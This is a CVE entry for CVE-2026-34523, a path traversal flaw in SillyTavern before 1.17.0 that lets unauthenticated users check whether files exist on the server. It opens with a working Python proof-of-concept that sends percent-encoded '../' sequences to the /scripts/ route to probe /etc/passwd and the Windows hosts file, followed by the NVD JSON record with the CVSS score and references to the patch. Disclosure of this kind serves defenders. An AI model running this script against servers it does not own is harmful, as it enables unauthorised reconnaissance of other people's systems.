CVE-2026-34523

import requests def check_file_existence(target_url, file_path): """ Check if a file exists on the server using path traversal. """ # Encode the traversal sequence and the target file path # Payload: ../../../etc/passwd -> %2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd encoded_payload = file_path.replace("../", "%2E%2E%2F") # Construct the full URL assuming the static file endpoint # Note: The actual endpoint may vary based on SillyTavern configuration exploit_url = f"{target_url}/scripts/{encoded_payload}" try: response = requests.get(exploit_url, timeout=5) if response.status_code == 200: print(f"[+] File likely exists: {file_path}") return True elif response.status_code == 404: print(f"[-] File not found: {file_path}") return False else: print(f"[?] Server returned status code: {response.status_code}") return None except Exception as e: print(f"[!] Error connecting to server: {e}") return None if __name__ == "__main__": target = "http://localhost:8000" # Replace with actual target # Example targets to check targets = [ "../../../etc/passwd", "../../../windows/system32/drivers/etc/hosts" ] for t in targets: check_file_existence(target, t)

{"cve": {"id": "CVE-2026-34523", "sourceIdentifier": "[email protected]", "published": "2026-04-02T18:16:29.613", "lastModified": "2026-04-13T18:35:55.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in the static file route handler allows any unauthenticated user to determine whether files exist anywhere on the server's filesystem. by sending percent-encoded \"../\" sequences (%2E%2E%2F) in requests to static file routes, an attacker can check for the existence of files. This issue has been patched in version 1.17.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sillytavern:sillytavern:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.17.0", "matchCriteriaId": "7E2E14B3-75EF-4DC4-84BE-8C2F5D6949A4"}]}]}], "references": [{"url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-525j-2hrj-m8fp", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}]}}